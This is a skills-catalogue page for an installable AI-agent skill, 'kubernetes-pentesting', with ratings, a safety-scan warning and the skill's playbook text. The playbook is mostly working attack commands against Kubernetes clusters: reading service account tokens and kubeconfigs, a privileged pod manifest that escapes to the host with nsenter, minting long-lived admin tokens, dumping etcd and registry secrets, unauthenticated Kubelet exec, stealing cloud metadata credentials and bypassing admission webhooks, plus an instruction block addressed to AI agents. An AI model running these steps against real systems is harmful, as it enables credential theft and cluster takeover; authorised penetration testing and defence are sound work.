kubernetes-pentesting
Kubernetes penetration testing playbook
Install / Use
npx skills add yaklang/hack-skills --skill kubernetes-pentestingInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of kubernetes-pentesting
kubernetes-pentesting scores 88/100 on our quality scale, 609th of 1,108 Security skills we index.
Its SKILL.md is 12 KB long, well organised into 69 sections with 16 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so kubernetes-pentesting is actively maintained.
- Our last check on 2026-11-01 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit โ read the skill file before letting an agent act on it.
Safety scan
WarningOur scan of the whole file found 1 high-risk pattern. Read the lines below before installing kubernetes-pentesting, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to read private keys, kubeconfigs, service account tokens, and cloud metadata credentials (e.g., /etc/kubernetes/pki/etcd/server.key, AWS/GCP/Azure metadata endpoints).
- highReads private keys or cloud credentialsline 55
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
AI review: risky
- The skill instructs the agent to read private keys, kubeconfigs, service account tokens, and cloud metadata credentials (e.g., /etc/kubernetes/pki/etcd/server.key, AWS/GCP/Azure metadata endpoints).
- It directs the agent to escalate privileges and escape containers by creating privileged pods with hostPID/hostNetwork/hostPath and using nsenter/chroot to gain node access.
- It explicitly tells the agent to dump Kubernetes secrets, mint tokens for arbitrary service accounts, bind cluster-admin roles, and bypass admission controls.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk โ read a skill before letting an agent act on it.
kubernetes-pentesting compared with similar skills
All 4 of these similar skills score higher than kubernetes-pentesting; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| kubernetes-pentesting (this skill)by yaklang | 88 | 2.3k | 2mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 103.6k | 2d ago | MCP Server |
| crawl4aiby unclecode | 100 | 87.4k | 3d ago | MCP Server |
Frequently asked questions
- How do I install kubernetes-pentesting?
- Run
npx skills add yaklang/hack-skills --skill kubernetes-pentesting. The install tabs above show the steps for each supported agent. - Which AI agents does kubernetes-pentesting work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is kubernetes-pentesting safe to use?
- Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing kubernetes-pentesting, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to read private keys, kubeconfigs, service account tokens, and cloud metadata credentials (e.g., /etc/kubernetes/pki/etcd/server.key, AWS/GCP/Azure metadata endpoints). It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is kubernetes-pentesting still maintained?
- The repository was last updated about 2 months ago, so kubernetes-pentesting is actively maintained.
Skill content
View source on GitHubname: kubernetes-pentesting description: >- Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
SKILL: Kubernetes Pentesting โ Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques for escaping from a compromised pod to the underlying node
- linux-privilege-escalation once on a node for escalating to root
- linux-lateral-movement for pivoting between nodes
- linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
- ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata
1. K8S API SERVER ACCESS
1.1 Anonymous Access Check
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis
# Common API server ports:
# 6443 โ secure API (default)
# 8443 โ alternative secure
# 8080 โ insecure API (legacy, no auth needed)
1.2 Token-Based Authentication (from inside pod)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
1.3 Certificate / Kubeconfig Authentication
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
2. RBAC ENUMERATION
2.1 Self-Permission Check
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*' # Full cluster admin?
# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
2.2 Role and ClusterRole Enumeration
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME
# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
2.3 Dangerous RBAC Permissions
| Permission | Risk | Escalation Path |
|---|---|---|
| pods/exec | Critical | Exec into any pod (access secrets, tokens) |
| pods (create) | Critical | Create privileged pod โ node access |
| secrets (get/list) | Critical | Read all secrets including SA tokens |
| serviceaccounts/token (create) | Critical | Generate token for any SA |
| nodes/proxy | High | Proxy to Kubelet API |
| escalate on roles | Critical | Grant yourself any permission |
| bind on rolebindings | Critical | Bind any role to yourself |
| impersonate | Critical | Impersonate any user/SA |
3. SERVICE ACCOUNT TOKEN ABUSE
3.1 Token Location and Decoding
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
3.2 Escalation via Service Account
# If SA has elevated permissions โ dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
securityContext: { privileged: true }
volumeMounts: [{ name: hostfs, mountPath: /host }]
volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
3.3 Token Generation
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h
4. ETCD DIRECT ACCESS
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version
# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
--cacert=ca.crt --cert=server.crt --key=server.key \
get / --prefix --keys-only | grep secrets
# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
5. POD ESCAPE TO NODE
See container-escape-techniques for detailed escape chains.
Quick reference for K8s-specific vectors:
| Vector | Requirement | Command |
|---|---|---|
| hostPID | spec.hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
| hostNetwork | spec.hostNetwork: true | Access node services (Kubelet, etcd) |
| hostPath / | Volume mount of host root | chroot /host bash |
| Privileged container | securityContext.privileged: true | Mount host disk / nsenter |
6. KUBELET API (Port 10250/10255)
curl -sk https://NODE_IP:10250/pods # Anonymous access check
# 10255 = read-only (legacy, HTTP)
# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"
# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
7. CLOUD-SPECIFIC ATTACKS
7.1 AWS EKS โ IMDS Access
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
7.2 GCP GKE โ Metadata API
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token
# List available scopes
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
7.3 Azure AKS โ Managed Identity
# Azure IMDS
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token
# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE
8. ADMISSION WEBHOOK BYPASS
| Strategy | Command/Method |
|---|---|
| Excluded namespace | kubectl get validatingwebhookconfigurations -o yaml \| grep namespaceSelector โ use excluded NS |
| failurePolicy: Ignore | If webhook server down โ admission skipped |
| Ephemeral containers | kubectl debug POD -it --image=alpine (may not be covered) |
| Static pods | Place manifest in /etc/kubernetes/manifests/ on node (bypasses API admission) |
9. CONTAINER REGISTRY ACCESS
# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'
# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
10. NETWORK POLICY ENUMERATION & BYPASS
kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
[ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done
Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely.
11. TOOLS
| Tool | Purpose | Command |
|---|---|---|
| kubectl | K8s API interaction | kubectl auth can-i --list |
| kube-hunter | Automated K8s vulnerability scanning | kube-hunter --remote TARGET |
| peirates | K8s pentesting from inside a pod | ./peirates |
| kubesploit | Post-exploitation framework for K8s | Agent-based C2 |
| CDK | Container/K8s exploitation toolkit | ./cdk evaluate |
| kubeletctl | Interact with Kubelet API directly | kubeletctl pods -s NODE_IP |
| kubeaudit | Cluster misconfiguration audit | kubeaudit all |
12. KUBERNETES PENTESTING DECISION TREE
Access to Kubernetes environment?
โ
โโโ Inside a pod?
โ โโโ Read SA token โ check RBAC permissions (ยง2.1)
โ โ โโโ Can create pods? โ privileged pod escape (ยง3.2)
โ โ โโโ Can read secrets? โ dump all secrets (ยง3.2)
โ โ โโโ Can exec into pods? โ pivot to other pods
โ โ โโโ Minimal permissions โ try Kubelet API (ยง6)
โ โ
โ โโโ Cloud environment?
โ โ โโโ AWS โ check IMDS for IAM creds (ยง7.1)
โ โ โโโ GCP โ check metadata for OAuth token (ยง7.2)
โ โ โโโ Azure โ check IMDS for managed identity (ยง7.3)
โ โ
โ โโโ Escape to node? โ load container-escape-techniques
โ
โโโ Access to node?
โ โโโ kubeconfig found? โ full cluster access (ยง1.3)
โ โโโ etcd accessible? โ dump all secrets (ยง4)
โ โโโ Kubelet cert/key? โ API server access
โ โโโ Static pod manifests? โ create privileged static pod (ยง8)
โ
โโโ External access only?
โ โโโ API server exposed? โ anonymous/token check (ยง1)
โ โโโ Kubelet 10250 exposed? โ direct pod exec (ยง6)
โ โโโ etcd 2379 exposed? โ direct secret dump (ยง4)
โ โโโ Dashboard/UI exposed? โ authentication bypass
โ
โโโ RBAC escalation path?
โ โโโ escalate/bind permissions? โ grant cluster-admin (ยง2.3)
โ โโโ impersonate permission? โ act as admin (ยง2.3)
โ โโโ serviceaccounts/token create? โ mint admin token (ยง3.3)
โ โโโ Overprivileged clusterrole? โ abuse wildcards (ยง2.2)
โ
โ
Truncated for display โ read the full file on GitHub.
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit โ see the Safety scan above for what the skill file itself contains.
